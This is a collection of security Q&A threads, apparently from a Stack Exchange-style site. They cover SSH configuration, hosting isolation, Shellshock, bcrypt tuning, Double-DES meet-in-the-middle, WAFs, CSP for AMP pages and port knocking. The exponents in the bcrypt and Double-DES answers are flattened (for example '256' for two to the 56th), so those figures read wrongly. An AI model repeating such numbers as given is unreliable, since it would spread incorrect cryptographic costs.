    ``without-password'', password and keyboard-interactive
    authentication are disabled for root.

To quote the sshd_config on my Ubuntu 16 system:

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

You may want to read How To Tune your SSH Daemon Configuration on a Linux VPS which, while it doesn't go into this particular issue, is a nice readable survey of what you can do to your sshd_config.


Am I vulnerable while leaving a putty client connected to my Amazon Web Server? I'm not worried or concerned, but I am curious as to what types of exploitation I might expose my home server to if I leave a putty client connected using SSH.

I am using putty to connect to an EC2 Amazon Web Service hosted virtual Linux box. The server holds a static website that I use for testing on personal projects.

The server uses a python script with flask to run the website, and the script will stop once I log out, so I just leave the connection open, seeing as it doesn't time out automatically.

Are there any vulnerabilities related to leaving a connection open like that?
Is there a way to have the script run on the box without having to stay logged in through the putty client?

Thanks!

Vulnerabilities exist because of session based attacks and the client being open. If you or the client gets compromised, so is your EC2 instance.

As for keeping the script up, bringing it back, stopping it, and restarting it(often called process management) there are some things you'll probably want to look into:

Process Managers
Like PM2 or Supervisor can keep your process running in the background and allow you a way to easily kill the script on your next session(usually with a stop command)
Startup and init.d/Bash scripts
While it takes more preparation, you could actually just have the script start at startup, pull in the latest version, and then just shutdown on timed intervals to re-pull and repopulate, or when the computer is told to turn off using the run time levels and triggers in the startup system your EC2 instance uses

Both of these routes would probably be the best way to go as they both offer startup, revival(meaning you can save money by stopping the instance when you're done), and script flow control.

Screen is an option, but it's completely manual. Wouldn't it be nice to take some initial time and make it automated? Most of us think so and one of the biggest gains is not needing two open connections. One connection is all you need. Sign in and start. Sign in and stop. Simple enough.

Things you should avoid at all costs:

Backrounding a script
requires more involved methods to kill or control the script
Leaving a session open
sessions can be hijacked


How do hosting providers prevent the compromise of one website from causing the compromise of another one? Could one create a vulnerable website on purpose to attack a server of a hosting provider?

So in the question above which I recently asked we came to the conclusion that preventing one vulnerable website opening the doors to all other websites on the same server must be done by some way of controlling the privileges of the users.

Therefore I was wondering how this is realised in shared webhosting. Is this OS based such as UAC in Windows or how does this conceptually work?

I understand that this may differ from server to server but I would like to understand the options for defense for a hosting provider in order to understand the magnitude of this thread.

This question is a bit broad, but I think an answer that is a little bit broad will still be helpful.  The answer depends on the "kind" of hosting you are talking about.  There are three main kinds which I will break down below, but just FYI the names I use are not necessarily industry-standard names.  The concepts however are pretty common across the board:

Shared hosting (this is the kind of hosting Jeroen talks about in his answer)
VPS hosting (aka virtual private servers)
Dedicated hosting

Shared Hosting

With a shared hosting setup many websites are running under the same instance of the same OS, and different "websites" are typically separated out by having different user accounts on the same system.  cPanel and Plesk are two common software systems that manage such setups (although Plesk can also be used to manage VPS hosting).  As a result, you have to concern yourself with securing two primary aspects of your system: making sure that user accounts are properly isolated (see Jeoroen's excellent answer), and making sure that your container manager (Plesk, cPanel, etc...) doesn't have any weaknesses.  Those tools do occasionally have vulnerabilities of their own, and if someone manages to break into your container management software, they typically end up with root access to the physical server, or in a worst case scenario, root access to all the servers managed by that system.  Also, if you give the users command line access, you have to worry about potential privilege escalation vulnerabilities in the OS itself.

VPS Hosting

With VPS (virtual private server) hosting, the physical server itself is running some sort of virtualization software that then runs any number of "virtual machines" that run a full and separate operating system.  Some examples of tools that manage these kinds of setups are the KVM hypervisor or the XEN hypervisor.  The advantage of this kind of setup is that it gives the end user (aka the customer of the hosting company) full control over their own system.  They can theoretically install any operating system they want, have full root/admin access, and install/manage whatever  software they want.  The hypervisor keeps each virtual OS separated from the rest and completely sandboxed from one another.  Theoretically, it makes it impossible for one compromised host to impact the others at all.  In practice of course, things are not always perfect.  Although (I believe) it is more rare and harder to exploit, the hypervisors themselves occasionally have their own vulnerabilities that can allow a malicious attacker to take control over the whole system (Spectre and Meltdown were relevant for hypervisors - h/t phyrfox).  Like anything else, keeping your systems up-to-date is key.

Dedicated hosting

Some hosting providers offer dedicated hosting, where they basically just manage the hardware for you and provide internet access.  They install an OS of your choice on a server and basically just give you root/admin access.  Obviously this isn't immediately relevant to your question because this is no longer shared-hosting - no one else to impact.  However, they are still inside your network, so proper network access controls are always a must (and this is true for all other hosting instances as well).

Network Management

Edit to add: that last point about network security is worth its own mention.  Regardless of whether you use shard hosting, VPS hosting, or dedicated hosting, a hosting company is inherently giving internal network access to an outside party.  Without clear access controls, this means that anyone using your hosting services can potentially scan other systems on the network for OS vulnerabilities of their own.  For instance, it doesn't matter if your virtualization layer can perfectly isolate the virtual servers running on it if one of the VPS instances can find other instances over the network and gain access via any network-level vulnerabilities in the OS (e.g. heartbleed/eternalblue).  Many of the larger hosting companies will allow you (the person using the hosting) to setup a VPC - virtual private cloud - inside their network to isolate your systems from both the internet and other systems on their own network.  Presuming that their network rules actually work as promised, this gives the end-user additional ways to protect themselves.  Presumably the larger service providers also have active network security that can detect malicious network traffic from inside their own network and shut down accounts appropriately.

In short, the kinds of vulnerabilities you have to worry about depend very much on your hosting configuration.  Of course these days there are a whole new slew of hosting options from the large hosting providers (aka serverless infrastructure) which have their own completely separate list of concerns, but I think the above outlines the major concerns for the kinds of hosting you have in mind.


Can shellshock be used on a system with public webpages but restricted server access? I want to know if my servers are still vulnerable under the following conditions...

My servers are private - only myself and trusted developers have access to them
We have enabled executables within PHP/Node/Python - but we never use post/get data.
We have some public webpages.
Edit - to clarify - PHP and Python do not run via mod_cgi

To answer your question:
1. There is no SHELLSHOCK threat as long you and your co-developers are aware what environment variable you are putting in or modifying (if any).

By enabling executables, do you mean you call system binary via shell? If your Python or PHP is running via mod_cgi, there is vulnerability even if you don't use GET or POST data. To my knowledge, mod_python, mod_php is not compromised to the threat.
Exposing public page opens the same vulnerability as mentioned in point 2 as long as they run via mod_cgi.


How to go about password hashing when constrained to low work factor I'm developing a social website as a side-project and seeing if it actually goes anywhere. I'm using bcrypt right now to store passwords and unfortunately I'm only able to get my webserver to do a work factor of 10 in 0.1 seconds. This seems really small compared to what was recommended here, not to mention a much higher amount of time than the 8 milliseconds recommended. I'm using shared web hosting at the moment and would love to move to a dedicated server but cannot afford to do so.

Is there much value in using bcrypt with a low work factor like 10 until a later point when I'm able to cover the cost of a dedicated server, or is there an alternative way I could go about securely storing passwords? Am I looking at this problem wrong?

Thanks.

It shall first be noted that password hashing is a second line of defence. You store in your server's database some value which allows password verification; your first duty is not to allow outsiders to grab a copy of that value. So first apply all security updates for your software; develop code with great care and appropriate methodology (e.g. when accessing the database, use prepared statements); and mind your operational procedures (don't leave your backups unattended, destroy hard disks upon decommissioning, and so on).

Using slow hashing is meant to make the task harder for the attacker in case he still succeeds at getting a glimpse at your database. Unfortunately, this makes password processing harder for you too, so that's a trade-off. With bcrypt, a work factor of n means that there are 2n internal iterations; a work factor of "10" means that you have made dictionary attacks about a thousand times less efficient (since 210 = 1024). Depending on your outlook, this may be great or insufficient, but this is still non-negligible.

To improve things, there are various methods that you may want to consider:

Use a "pepper", i.e. an extra server-wide secret key; this turns the password hashing into a MAC. Basically, when you "hash the password" (upon registration, and upon verification), you compute HMAC/SHA-256 over the password, encode the 32-byte output in Base64 (so that it becomes a nice string of printable characters), then use that string as input to bcrypt.

That process improves security under the assumption that the attacker may get a copy of the hashed passwords but not of the whole server (e.g. the attacker could make some SQL injection but not read the server configuration files). In particular, don't store the key in the database itself.
Help users choose stronger passwords. Mind the words: I said "help", not "force". In particular, do NOT try to enforce "password complexity rules" like requiring a mix of uppercase, lowercase, and sumerian ideograms. Such rules, in practice, do not make passwords stronger; they just make users angrier. Instead, a good thing would be to offer a generator tool that produces high-entropy but easy-to-memorize passwords (see this question for guidance). It is important that the tool is optional because you want users to freely cooperate with your security strategy; if you make anything mandatory then they will rebel and things will be worse.
Offload the problem into the hands of somebody else. This means authenticating users through something like OpenID; the OpenID provider is an external system that handles the password verification for you.

A notable example is StackExchange itself: although they can handle the password registration and verification themselves, they also allow you to register using your existing Google or Facebook account, or just any OpenID provider.
Buy a bigger, more powerful server.


About the IEEE P1735 standard I read this article from The hacker news (article).

I understand the figure showing how P1735 works but I'm wondering, when you ship your IP (Intellectual Property) to a client, the code needs to be readable in order to be executed. But to do so, you need the vendor Private Key. If the piece of hardware is somehow connected to the internet you can request the key to the vendor at each boot (for example) but what happens when the hardware is not designed to be online. Is the key simply stored inside the chip with some kind of obfuscation? How?

If the key is stored inside the hardware that means that with enough effort one could recover the private key and maybe also the Symmetric Key. Or maybe I totally missed the point...

The encrypted HDL is decrypted by the EDA tool. The private key is needed by EDA tool during analysis phase (e.g. simulation) or transformative phase (e.g. synthesis). The private key belongs to EDA tool. Key is not needed by hardware. You can find more details at https://ipencrypter.com/brochures/hdl-ip-protection/


Is an IP not being redirected to it's associated domain considered unsecure? I've got a server that has domain and an SSL Certificate issued to that domain.
It's expected behavior that when an IP address is browsed, it redirects to the domain name of the server and the SSL Certificate is valid. e.g:
https://ip => https://example.com

In my case, if I put in the IP, it stays as an IP in the URL bar and the certificate becomes invalid.
https://ip => https://ip

My question is, is there a security risk if a server doesn't resolve it's domain name and stays on IP with an invalid SSL Certificate?

t's expected behavior that when an IP address is browsed, it redirects to the domain name of the server and the SSL Certificate is valid. e.g: ...

Actually in many cases the expected behavior is to get an error. This is at least the normal case on multi-domain systems (which are pretty common) since there isn't a unique domain name for the IP address.
And even in the rare case where only a single domain is on an IP address it is pretty normal that the IP address is not included in the certificate, so that the initial attempt of https://ip will already fail due to an invalid certificate.

My question is, is there a security risk if a server doesn't resolve it's domain name and stays on IP with an invalid SSL Certificate?

The security risk is not that it does not use a domain name but that the certificate does not match the name in the URL. It does not matter if the name in the URL is an IP address or a domain name, but it must be included in the certificate and the certificate must also be otherwise valid.


How secure is Yahoo Account Key? I (along with a billion or so other people) was notified about my Yahoo! account being potentially compromised yesterday.  While I'm not worried about that (I have changed my password since then, have a very long and complex password, and don't reuse it), they did take the time to point out the Yahoo Account Key feature.  This is a feature where, when you login, it sends a notification to the Yahoo! app on your mobile phone, and you must approve that before the login can continue.

  You'll no longer need to remember complicated passwords when you use Yahoo Account Key to access your account. To sign in, tap "Yes" on the notification we send to your mobile phone. With Account Key enabled, there's no password on your account, so no one other than you can sign in.

This seems similar to the Google TFA option, Google Prompt, which is certainly better than just single-factor authentication.  But the difference here is that while Google requires the password AND the prompt, Yahoo does not require the password: so this is single-factor authentication, just a different factor.

How secure is this, compared to a good, complex, long, never reused password?  Are there any known methods to subvert mobile phone notifications that could affect something like this?

I have an iOS device, running stock iOS, but welcome answers that include details about phone-side risks for other phones/situations (though would like my scenario covered, preferably).  I also have my Yahoo! account connected to my Google account (which is protected with 2FA, using Google Prompt), and back my phone up to iCloud.  I have a 6-digit passcode and fingerprint authentication on that.  I'm not particularly worried about a targeted attack (I have no particular reason to fear one, not knowing anyone who is sufficiently skilled to do something like this nor having enough valuable information or money to be worth targeting); this is primarily about attacks that are general in nature.

I'm not concerned about understanding the difference in how these work; I have a good understanding of both.  I'm focusing here on trying to compare the risks; while I have a good understanding of passwords and the risks inherent in 1FA with passwords, I don't have a good sense of the risks inherent in 1FA with mobile notifications, and how to balance the two.

As you point out, this is not TFA. It is simply providing you 2 different ways to access your account. You can choose which way you feel is more secure for your situation: a password, or a physical device (such as your phone).

Password advantages:
No one should ever be able to gain access to your account via the provided login mechanisms without knowing your password. If your password is sufficiently long and complex such that it can only be guessed via brute force, then even if Yahoo were hacked and password hashes were stolen, it is extremely unlikely that your password would be hacked prior to you being notified that you need to change it.

Password disadvantages:
Your password could be compromised without you knowing it. For example, this could happen if you enter in your password from a compromised computer (keylogger) or when using a compromised network (MITM attack) and you happen to click through the browser warning about an invalid certificate. Another (usability, not security) disadvantage is if your password is long and complex, it is annoying to manually enter it in on a computer where your password manager is not installed.

Device Advantages:
Someone would need to have physical access to your device in order to login. (Or they must be able to do what you would have to do if you lost your device: reset your password by having access to your email and possibly being able to answer security questions about you). If you have your device on you, then you can be pretty certain no one is currently using your Yahoo account.

Device Disadvantages:
If someone gains access to your device, they can easily access your account. Furthermore, if you lose or misplace your device, you will not be able to use your account until you have your device again, or you will have to recover your account with a reset.

As for which is better in your situation, some things to consider:

Do you frequently use public or shared computers? Then I would lean towards the Account Key.
Is your device frequently left unlocked or using a weak protection algorithm (easy pattern, easy 4 digit passcode)? Then perhaps lean towards a strong password.
Do other people have access to your phone that you don't want to have access to your account? Then definitely use a password.

This FAQ page answers questions about how to recover/reset your account.


Is CISSP suitable for a Java architect? I am a tech lead developing web (Java/JEE) and mobile applications (Android) for the past 12 years (mobile in last year though). I am somehow interested in IT security.

Is it worth taking CISSP or CISA certification and enter into Security stream? Is it a common practice to move from programming/solution architecture to Security Auditing?

I feel that anyone interested in pursuing a security centric career should become CISSP early in the process.  If you are interested in remaining focused on development and wish to demonstrate security expertise, there are several other certifications that would be more appropriate.  I strongly recommend the SANS classes and corresponding GIAC certifications as they are probably the most technically insightful and demanding.  A specialist with one or more of the GIAC certifications is typically a very knowledgeable professional.

I would say that 12 years of experience and your use of the term "solutions architecture" suggests you are a senior practitioner.  I would therefore urge you to consider becoming a Certified Secure Software Lifecycle Professional (CSSLP).  This is a rather rare certification and can be a strong attractant in a high-end job search.  CSSLPs with a few other, related certifications are rare and can expect excellent compensation in the current job market where senior security personnel are in very high demand.

Not meaning to brag, but I speak from experience as I have 10+ years tenure as CISSP, hold the CSSLP, CISA and have a variety of other certs.  I am approached about a job opening more than once a week, though I am not looking.


Is using a flash drive as a base for security a safe thing to do? I'm developing some software for schools.  I've found severe flaws with the current popular school LAN protection that I feel needs fixing so I plan on releasing my own software.  One the those problems was that if a student managed to log onto a teachers computer, they would have access to all of the teachers tools in most School LAN protection software.

Instead, for mine, I would like every computer to have the teacher tools installed, BUT, instead, it will require you to entire a password before being able to use it.  These seemed like a good idea, but what if a student managed to get a teachers password?  My next idea was to have a file put onto every teachers flash drive that would probably contain (among other things) a salted hash of their password.  They would be required to insert the flash drive and use the password associated with the flash drive.

My Questions

Is this safe practice?
Is there any kind of UID associated with flash drives that I could use to make sure the file wasn't copied to another device incorrectly?
Is there a better way to handle this?

No, your solution isn't safe, no there is no ID associated with flash drives, and yes, there is a better way to do this.

There are several hardware crypto-token devices in the same form-factor as flash drives that you can use for this purpose.

The first that comes to mind is the Yubikey. This device is generally pretty easy to integrate into existing authentication frameworks, as well as building on popular standards such as OAUTH.

Devices in this category (including this one) generally have the following features:

tamper-resistant
non-copyable
able to utilize public-key crypto with an undisclosed private key
able to behave as a USB keyboard to interface with legacy applications (i.e. outputting a secure password)


Someone signed up to a website using my Email address and was created from my IP, but with a different browser? Can anyone tell me if this is a hack? otherwise how did they use my email, a different browser and my IP address to create the account?

Any help would be much appreciated

I will assume that you got an email stating that you registered to a website. Firstly, I wouldn't be surprised if this was some form of elaborate phishing. Double check the website before visiting or avoid it all together.

Secondly, as a person above stated, It could be, that there is some form of malware on your PC that hijacks your information (Script or a plugin), although very unlikely.

Lastly, you sure you haven't noticed any suspicious activity or processes running on your computer? It seems like a very odd scenario.


How valuable is secrecy of an algorithm? On the surface, the inadvisability of security through obscurity is directly at odds with the concept of shared secrets (i.e. "passwords"). Which is to say: if secrecy around passwords is valuable, then by extension surely it must be of some value to keep the algorithm that uses the password secret as well. Many (arguably misguided) organizations may even go as far as to say that the system is the password.

But to what degree can the secrecy of an algorithm be relied upon? Or perhaps more appropriately, in what way is secrecy surrounding an algorithm doomed to fail while secrecy surrounding passwords is not?

If, on the other hand, secrecy of an algorithm is desirable, then how important is it? To what lengths should a developer reasonably go to keep his crypto secret?

EDIT
To be clear, this isn't about creating a new, untested algorithm, but rather keeping secret the details of which algorithm you choose. For example, the technique Windows uses to hash passwords is to apply known hashing algorithms in a sequence which is not published and which appears to change between different versions of Windows.

Much of the work on passwords and keys is related to controlling where they are stored and copied.

A password is stored in the mind of a human user. It is entered on a keyboard (or equivalent) and goes through the registers of a CPU and the RAM of the computer, while it is processed. Unless some awful blunder is done, the password never reaches a permanent storage area like a hard disk.
An algorithm exists as source code somewhere, on the machine of a developer, a source versioning system, and backups. There are design documents, which have been shown to various people (e.g. those who decide whether to fund the development of the system or not), and often neglectfully deposited on an anonymous shelf of in some layer of crust on the typical desktop. More importantly, the algorithm also exists as some executable file on the deployed system itself; binary is not as readable as source code but reverse engineering works nevertheless.

Therefore we cannot reasonably consider that the algorithm is secret, or at least as secret as the password (or the key).

Really, cryptographic methods were split one century ago into the algorithm and the key precisely because of that: in a functioning system, part of the method necessarily leaks traces everywhere. Having a key means concentrating the secrecy in the other half, the part which we can keep secret.

"Security through obscurity" is an expression which uses the term obscurity, not secrecy. Cryptography is about achieving security through secrecy. That's the whole difference: a password can be secret; an algorithm is, at best, obscure. Obscurity is dispelled as soon as some smart guy thinks about bringing a metaphorical lantern. Secrecy is more like a steel safe: to break through it, you need more powerful tools.

Smart guy Auguste Kerckhoffs already wrote it more than a century ago. Despite the invention of the computer and all of today's technology, his findings still apply. It took a while for practitioners of cryptography to learn that lesson; 60 years later, Germans were still putting a great deal in the "secrecy" of the design of the Enigma machine. Note that when Germans put the 4-rotor Navy Enigma into use, Allied cryptographers were inconvenienced (routine cracking stopped for a few months) but were not totally baffled because some captured documents from the preceding year alluded to the development of the new version, with a fourth "reflector" rotor. There you have it: algorithm secrecy could not be achieved in practice.

An additional twist is that algorithm obscurity can harm security. What I explain above is that obscurity cannot be trusted for security: it might increase security, but not by much (and you cannot really know "how much"). It turns out that it can also decrease security. The problem is the following: it is very hard to make a secure cryptographic algorithm. The only known method is to publish the algorithm and wait for the collective wisdom of cryptographers around the world to gnaw at it and reach a conclusion which can be expressed as either "can be broken that way" or "apparently robust". An algorithm is declared "good" only if it resisted the onslaught of dozens or hundreds of competent cryptographers for at least three or four years.

Internet, academic procrastination and human hubris are such that, with the right communications campaign, you can get these few hundreds of cryptographers to do that hard assessing job for free -- provided that you make the algorithm public (and "attractive" in some way). If you want to maintain the algorithm obscure, then you cannot benefit from such free consulting. Instead, you have to pay. Twenty good cryptographers for, say, two years of effort: we are talking about millions of dollars, here. Nobody does that, that's way too expensive. Correspondingly, obscure algorithms are invariably much less stress-tested than public algorithms, and therefore less secure.

(Note the fine print: security is not only about not being broken, but also about having some a priori knowledge that breaches won't happen. I want to be able to sleep at night.)

Summary:

You should not keep your algorithm secret.
You do not know how much your algorithm is secret.
You cannot keep your algorithm secret.
But you can and must keep your password secret, and you can know "how much" secret it is (that's all the "entropy" business).


Why two key DES algorithm provides only 80 bits security In the wiki link, it is mentioned that due to "chosen-plaintext" or "known-cipher" attacks, two key DES provides only 80 bits of security.

My question is how these attacks work and how did NSIT came up with 2<80> bits of security

To understand what happens with Double-DES, consider the meet-in-the-middle attack (completely unrelated to "man-in-the-middle attacks").

Setup: there is double-DES, where a data block is encrypted with key K1, then again with K2. The attacker could have access to two plaintext/ciphertext blocks: attacker knows A, B, C = EK2(EK1(A)) and D = EK2(EK1(B)).

Then the attacker can compute all EK(A) for all values of K (there are 256 of them). Then he can also compute all DK'(C) for all values of K' (again, 256 keys to try). At that point, he will have about 248 candidates for the (K1,K2) pair: these are all the pairs (K,K') for which EK(A) = DK'(C). The "248" comes from the fact that we are encrypting 64-bit blocks, so about 1 block value every 256 is one of the EK(A) values, so about 1 value K' every 256 will yield a matching DK'(C).

The 248 candidates can then be tried with the plaintext B and ciphertext D; it is expected that only the right one will pass that test.

Cost: 257 invocations of DES (plus an extra average of 248 for the verification of candidates, but that's negligible), and some memory storage able to hold 256 intermediate values, and sorted. Since the values are sorted, each will differ from the previous by only 8 bits on average, but it must also store the corresponding K, so let's say that a practical implementation would use 10 bytes per value. That's then 10*256 bytes of storage, which is rather large (about 650 thousands of terabytes) but can be envisioned with existing technology (it would not be cheap, though). The sorting step would be the biggest cost in an "academic" way (about 264 comparisons) but the 257 DES invocations would still be, in practice, more expensive.

I don't see any "80 bits" here. In fact, security of Double-DES should be considered to be close to "57 bits". The storage requirements make it harder to break than a simple "57-bit block cipher", but nowhere near as hard as an 80-bit block cipher.

(A similar method works for 3DES, which means that 3DES has security "about 112 bits" despite its 168 bits of key.)


Encrypted flash drives I have searched the web for information on secure encrypted USB flash drives. I have found that the most secure encryption is hardware-based like Kingstom DT4000 for example.

Why is a simple USB flash with an encryption from TrueCrypt isnt so
safe as the encryption hardware?
What is the (in)compatibility situation with encrypted USB flash drives and
Linux? I read many articles that say hardware-encrypted USB flash drive cannot work with any Linux distribution.

I personally really like the idea of an encrypted container residing on a storage device. Truecrypt can do that stuff and while setup properly it is secure.

Reference

http://www.truecrypt.org/docs/?s=truecrypt-volume
http://www.truecrypt.org/docs/?s=hidden-volume-precautions


Does a Web Application Firewall only protect OSI layer 7? Does a Web Application Firewall (WAF) that is protecting application layer 7, as well protect other layers of the The Open Systems Interconnection (OSI) model?

Due to architectural necessity, Web Application Firewalls (WAFs) protect against attacks at other layers as well.  However, these protections are largely incidental and not comprehensive.  Let me illustrate this with some examples:

Presentation Layer - let's assume that the application to be protected uses TLS.  If so, the WAF device must by definition* terminate the client TLS connection in order to decrypt the application data and apply its Application Firewall logic to it.

What this means in practice is that a potential attacker never interacts with the TLS stack on the target (Application) host.  And while the backend may be running one of any number of Application Frameworks, all of which have their own TLS implementation with its own quirks, the WAF will generally be built and sold by someone who realized TLS is a big deal to get right.  (In my experience, F5 is pretty good about updating their TLS as necessary).

So the WAF provides protection at the Presentation Layer, in fact (if not as a sales bullet).

Session Layer - a WAF will often inject its own tracking cookies to help detect and prevent people playing games with the session endpoint data.  This is partially because the WAF needs to protect [any] application on the backend, but nicely complements the fact that "for [random(any)] application, assume it was written without any reasonable session protections."

Transport Layer - Like TLS, TCP will be terminated at the WAF, thereby exempting the Application server from interacting with the client directly.  Any hand-tuned tweaks to packets, any overlapping fragments, any state violation games are going to break against the WAF and not the Application server.  Will the WAF be better able to handle them?  Hard to say, but the attacker will still be short of their goal.

Network Layer - again, by terminating connections and opening new ones to the Application server, the WAF will insulate the Application server from IP-layer attacks...  For example, it'll wait until the outer (client) 3-Way Handshake (3WHS) is complete before initiating the inner (Server) 3WHS, thus mitigating synfloods.

These protections are generally incidental and not designed.  The WAF maker isn't putting the Stateful Inspection capacity of, say, a CheckPoint into their WAF; they're just waiting to have a valid stateful outer connection before opening the inner connection.  The WAF may use the OpenSSL TLS stack, just like the Application Server does, and they're both vulnerable to the same issues... but the WAF is one step removed from the useful data on the Application that the attacker wants to get to.

* The definition I'm using here is "modern TLS prefers ephemeral key ciphers which remove the ability of a passive listener to decrypt traffic, so let's just assume anything with TLS these days is going to need to be terminated to be decrypted."


Name of authentication where TV shows you code to enter on website? I can't find any good resources about how this kind of authentication scheme works where you open an app on your TV (Plex, Youtube,...) and they show you a code (optional there's also a QR code) and then you go to their website, enter their code and then your TV is logged in.

How does this work and what is it called so I can read more?

The sites they ask you to open and enter the code usually look like this:

https://www.plex.tv/link/

https://www.youtube.com/pair

Thanks!

I guess Google is using Oauth2 to pair clients (for example a YouTube client in a SmartTV browser) and server data.

https://developers.google.com/identity/protocols/OAuth2ForDevices

In other platforms like HbbTV 2.0 the CPA (Cross Platform Authentication) has been proposed as login for limited input devices.

https://tech.ebu.ch/groups/CPA

Other proprietary systems like Gigya uses the same approach, so you can get some info also from their documentation


When can my house owner see what websites I visited? If I load a page for 2 seconds but it is still white and nothing is visible, will he still be able to see that I visited that URL?

OBS: This answer is considering you were accessing a HTTP (not HTTPS) website, through your browser without using any proxy or anonymous service like Tor.

Lots of things happen before something is even shown in your screen:

1) DNS requests and replies (to get the IP address of the website)

2) TCP packets stablishing a connection to the website server

3) HTTP packets exchanging requests and replies for files from that website (like .html files, images, and so on)

After your browser receives those files, it can then display the final result on your screen.

If your house owner can see which websites you are accessing depends first on how hard he monitors the network traffic.

1) WORST CASE SCENARIO: He sniffs on every packet that runs through his network. In this case he can most likely see which websites you are accessing. In this really paranoid scenario, he might even have access to information you exchanged with this website (like passwords, or forms).

2) He has some Logging or Parental Control feature enabled on his router. In this case he could see which websites you are accessing, but wouldn't have much detail on what you are doing after you accessed them.

3) He just doesn't really care about the websites you access at all.

Now it's up to you to see which of those scenarios mostly fit your current situation.

What you can do to access your websites with a more ensured privacy is to use a Proxy or Tor. Making it simple: this will send your requests to a server through a encrypted tunnel and this server will be the one talking to the website. The server will then take the websites response back to you.

No security guru here, just an enthusiat, so feel free to correct my answer!


Is is safe to use PGP again? The EFF has issued some instructions enitiled "How To Turn PGP Back On As Safely As Possible".

The emphasis there is mine, and that qualifier worries me. Realistically, what risks do I run if I follow their instructions?

And will it help me if I follow them & the sender or recipient of my emails does not?

You are correct in that there are still risks involved.
First, there are the risks that you can eliminate by following the recommendations from EFF. Only use an email client that has been properly patched. Make sure you have actually updated it to a safe version. Preferably, don't turn on rendering of HTML emails.
Then, there are risks you will have to accept if you want the convenience of decrypting emails inside your email client.  As highlighted in this answer, the people behind EFAIL discovered multiple exfiltration mechanisms, some not related to HTML. As always, there is a risk that there are more clever tricks waiting to be discovered. In fact, the cat and mouse game is already on. According to EFF, the first Enigmail fix that was published was soon circumvented. Hopefully, future fixes will have a longer half life.
That's why it's safest to just use a program separate from your email client to do the decryption. Unfortunately, while it's safe it's not a very practical option. It seems that EFF thinks the security versus usability contradiction at the core of PGP can not be solved, and that we need something better. From your link:

But if we’re to continue to use and recommend PGP for the cases where it is most appropriate—protecting the most vulnerable and targeted of Internet users—we need to carry on that conversation. We need to cooperate to radically improve the secure email experience, to learn from what we know about modern cryptography and usability, and to decide what true 21st-century secure email must look like.
It’s time to upgrade not just your PGP email client, but also the entire secure email ecosystem, so that it’s usable, universal, and stable.


Does logging out also stops the hijacked session? Suppose somebody hijacks my session , say using Firesheep. Then what happens if I logout, does the hijacked session also end ? Also, does using LAN wire instead of WiFi prevents session hijacking ?

That depends on the server-side code. If the server deletes the session ID associated with your user ID, then the attacker will also be logged out. If, for some braindead reason, the Server only deletes your cookie (by expiring it) or purges the ID from the URL, then the attacker can still use your session.

If the server is a distributed system, the deletion of your session ID may take a while to reach all systems.

If the attacker has used the session to change your login credentials or reveal your passwords, then logging out will do you no good and can shut you out. Secure systems always ask for the password before revealing/changing login credentials, but not every system is that secure ...


$chsh command security with Set-UID Why does $chsh have to be a Set-UID command? What are the vulnerabilities of a normal user changing his/her own shell from perhaps bash to zsh?

Any help would be greatly appreciated!

chsh is setuid because in order to change a user's shell, it must modify the root-owned read-only /etc/passwd file.

The system administrator may wish to limit which shells a user may choose, for example if users are assigned a shell which logs all commands to syslog.  The traditional way to do this would be to remove all other shells from the /etc/shells file, as chsh restricts users to choosing shells in that file.  (That then implies that for any users who aren't restricted in that manner, an administrator needs to change their shells by hand - editing /etc/passwd - since they can no longer use chsh to do it.)


What if somebody sends me genuine certificate that they do not own? I just started learning about the digital certificates, its architecture and how it works internally. What will happen if someone sends me a genuine certificate for authentication which does not really belong to him?

What will happen if someone sends me a genuine certificate for authentication which does not really belong to him?

A certificate is really just a public key that someone stamped with their approval.  With that in mind, the special properties of public/private key pairs (e.g., each can uniquely decode what the other encoded) are used to prove "belonging."

That certificate "belongs to" the person who owns the matching private key.  When used for authentication, a certificate is used to decode something that was encoded with the matching private key, thus proving that the connection is in the hands of the person the certificate "belongs to"; because nobody else has the private key required.

That's why certificates (public keys) can be public - if someone hands you a certificate they don't own, then they can't "back it up" with private key-generated proof, and the authentication will fail.


Using Content Security Policy in AMP-HTML pages? I have a site built with AMP.
I tried to use Content-Security-Policy: script-src 'self', but all styles and designs didn't show properly since they are loaded from cdn.ampproject.org.
Google, in their AMP documentation, says that all Content Security Policy has been handled before stored in their repository.
Is there a solution?

Finally, I found this on scotthelme.co.uk. Here's the script:

<?php
header('Content-Security-Policy: script-src https://cdn.ampproject.org:*');
?>

And, it works as I wish when I check it on securityheaders.io.


How secure is OpenSSH on FreeBSD? In a discussion about the recent OpenSSL information disclosure vulnerability, the subject of OpenSSH being vulnerable came up. While OpenSSH is not vulnerable due to the problem lying in the TLS handshake, it opened discussion for the security of OpenSSH on FreeBSD.

Theo de Raadt had this to say:

  ... as long as you aren't using FreeBSD or a derivative (hint:
  Juniper), you are fine.  That's the only place I know of an OpenSSH
  hole.

This coming from someone in his position is worrisome. I don't know if this is a stab at the FreeBSD project, or if he is privy to some inside exploit of the OpenSSH implementation on FreeBSD.

Since the person in question doesn't believe in public disclosure, I am wondering what steps people have taken to mitigate this possibly huge security flaw, if it exists at all.

The Heartbleed bug was a SSL/TLS protocol implementation bug. OpenSSH does not use the SSL protocol in anyway (Although it does use some of the same cryptographic primitives).

So you don't need to worry about Heartbleed causing problems for OpenSSH.


Simple explanation of Port Knocking I was just referring to this article:
http://en.wikipedia.org/wiki/Port_knocking

The term Port Knocking, as explained here, was slightly confusing and I was feeling difficulty in getting the hang of it. I would be really thankful if anyone could offer a simpler explanation.

Let's say you want to be able to SSH into your server from anywhere.  But you find that if you leave SSH listening on port 22, systems all over the Internet are regularly trying to log into it and filling up your logs with auth failures.  You are offended by this.

So you set up port knocking.

Your firewall blocks access to port 22 - but if packets come for ports 1234 and 5678 in the space of one minute, your firewall will open access to port 22 for a brief window.  Therefore, your SSH server is safe from random people (who won't know how to "knock" to open the port) but you can get in whenever you want by sending a couple of special packets before connecting.

In this scenario, ports 1234 and 5678 aren't listening, there's no service running there - the special bit is that the firewall notices attempts to reach those ports and does something accordingly.

As security goes, this is minor; it's a form of security through obscurity, and only offers incremental benefits.  It can be useful in cutting down noise from automated attackers, though.


